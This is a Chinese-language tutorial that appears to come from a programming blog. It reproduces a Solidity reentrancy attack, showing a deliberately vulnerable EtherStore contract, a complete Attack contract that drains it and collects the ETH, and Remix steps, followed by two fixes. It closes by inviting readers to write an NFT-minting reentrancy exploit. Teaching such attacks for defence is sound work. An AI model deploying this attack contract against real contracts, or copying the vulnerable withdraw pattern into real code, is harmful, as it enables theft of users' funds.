智能合约安全审计：复现“重入攻击 (Reentrancy)”，一行代码是如何盗走 1000 ETH 的？-编程实验室

标签：#Web3Security #Solidity #Reentrancy #SmartContract #Blockchain #Audit

🏦 前言：银行柜员的失误

想象一个现实场景：
你去银行取钱。

检查：柜员查账，发现你有 100 元。
交互：柜员把 100 元现金递给你。
生效：柜员拿起笔，准备在账本上把你账户扣除 100 元。

重入攻击就在第 2 步和第 3 步之间发生了。
当你接过钱的瞬间（第 2 步刚开始，第 3 步还没做），你大喊一声：“嘿，我还要取 100 元！”
柜员因为还没来得及改账本，一看账上还是 100 元，于是又递给你 100 元。
如此循环，直到银行金库被你搬空。

攻击流程图 (Mermaid):

💀 一、漏洞复现：受害者合约 (EtherStore)

这是一个典型的“先转账，后扣款”的错误写法。

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract EtherStore { mapping(address => uint256) public balances; // 存钱 function deposit() public payable { balances[msg.sender] += msg.value; } // 取钱 (漏洞在这里！) function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); // ❌ 错误做法：先转账 (Interaction) // 使用 call 发送 ETH 会将所有剩余 Gas 转发给接收方，允许对方执行复杂逻辑 (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); // ❌ 错误做法：后扣款 (Effect) // 这一行在攻击发生时，还没来得及执行 balances[msg.sender] = 0; } // 查看金库总余额 function getBalance() public view returns (uint256) { return address(this).balance; } }

⚔️ 二、编写攻击脚本：黑客合约 (Attack)

黑客合约利用 Solidity 的fallback或receive函数机制。当它收到 ETH 时，这些函数会自动触发。

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./EtherStore.sol"; contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 1. 回调函数：当收到 ETH 时自动触发 fallback() external payable { if (address(etherStore).balance >= 1 ether) { // 🔥 核心攻击逻辑：在收到钱的瞬间，递归调用 withdraw etherStore.withdraw(); } } // 2. 攻击入口 function attack() external payable { require(msg.value >= 1 ether, "Need 1 ETH to start attack"); // 先存 1 ETH 进去，获得“入场券” etherStore.deposit{value: 1 ether}(); // 发起第一次提款 etherStore.withdraw(); } // 3. 销赃：把偷来的钱转给黑客钱包 function collectEther() external { payable(msg.sender).transfer(address(this).balance); } }

🕵️‍♂️ 三、实战步骤 (Remix)

部署 EtherStore：

部署受害者合约。
切换其他账户（如 Account 2, Account 3），分别deposit10 ETH。此时金库有 20 ETH。

部署 Attack：

切换回黑客账户（Account 1）。
部署 Attack 合约，构造函数填入 EtherStore 的地址。

发动攻击：

在 Attack 合约的attack函数中填入1 Ether。
点击transact。

见证奇迹：

查看EtherStore的余额：变成了0。
查看Attack的余额：变成了21 ETH（本金 1 + 偷来的 20）。

现象解释：
你会发现在那一笔交易中，黑客合约像抽水机一样，利用那 1 ETH 的本金，反复循环调用withdraw，直到把受害者合约的余额抽干，循环才停止（触发fallback中的if判断）。

🛡️ 四、防御方案：如何修复？

修复重入攻击主要有两种方法。

方案 A：检查-生效-交互 (Checks-Effects-Interactions)

这是 Solidity 编程的黄金法则。永远先修改状态变量，再进行外部调用。

function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0); // ✅ 1. Check (已在上面) // ✅ 2. Effect (先扣款！) balances[msg.sender] = 0; // ✅ 3. Interaction (再转账) (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); }

即使黑客再次重入，因为balances[msg.sender]已经被清零，require(bal > 0)会直接拦截请求。

方案 B：重入锁 (ReentrancyGuard)

使用 OpenZeppelin 提供的修饰符，给函数上锁。

import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract EtherStore is ReentrancyGuard { // 增加 nonReentrant 修饰符 function withdraw() public nonReentrant { uint256 bal = balances[msg.sender]; // ... 逻辑 ... } }

原理：进入函数前将锁置为TRUE，执行完置为FALSE。如果你在执行过程中试图再次进入，发现锁是TRUE，直接报错。

🎯 总结

重入攻击是 Web3 安全的入门必修课。它警示我们：在区块链世界，任何外部合约调用（Call）都是不可信的。

作为开发者，必须养成**“状态修改前置”**的肌肉记忆，或者做一名“复制粘贴工程师”，老老实实继承 OpenZeppelin 的ReentrancyGuard。

Next Step:
现在的攻击是针对ETH转账的。你去研究一下ERC-721 (NFT)的onERC721Received函数，或者ERC-1155协议，它们同样存在重入风险。尝试写一个针对 NFT 铸造（Mint）的重入攻击脚本，看看能不能一次 Gas 费铸造出 100 个 NFT？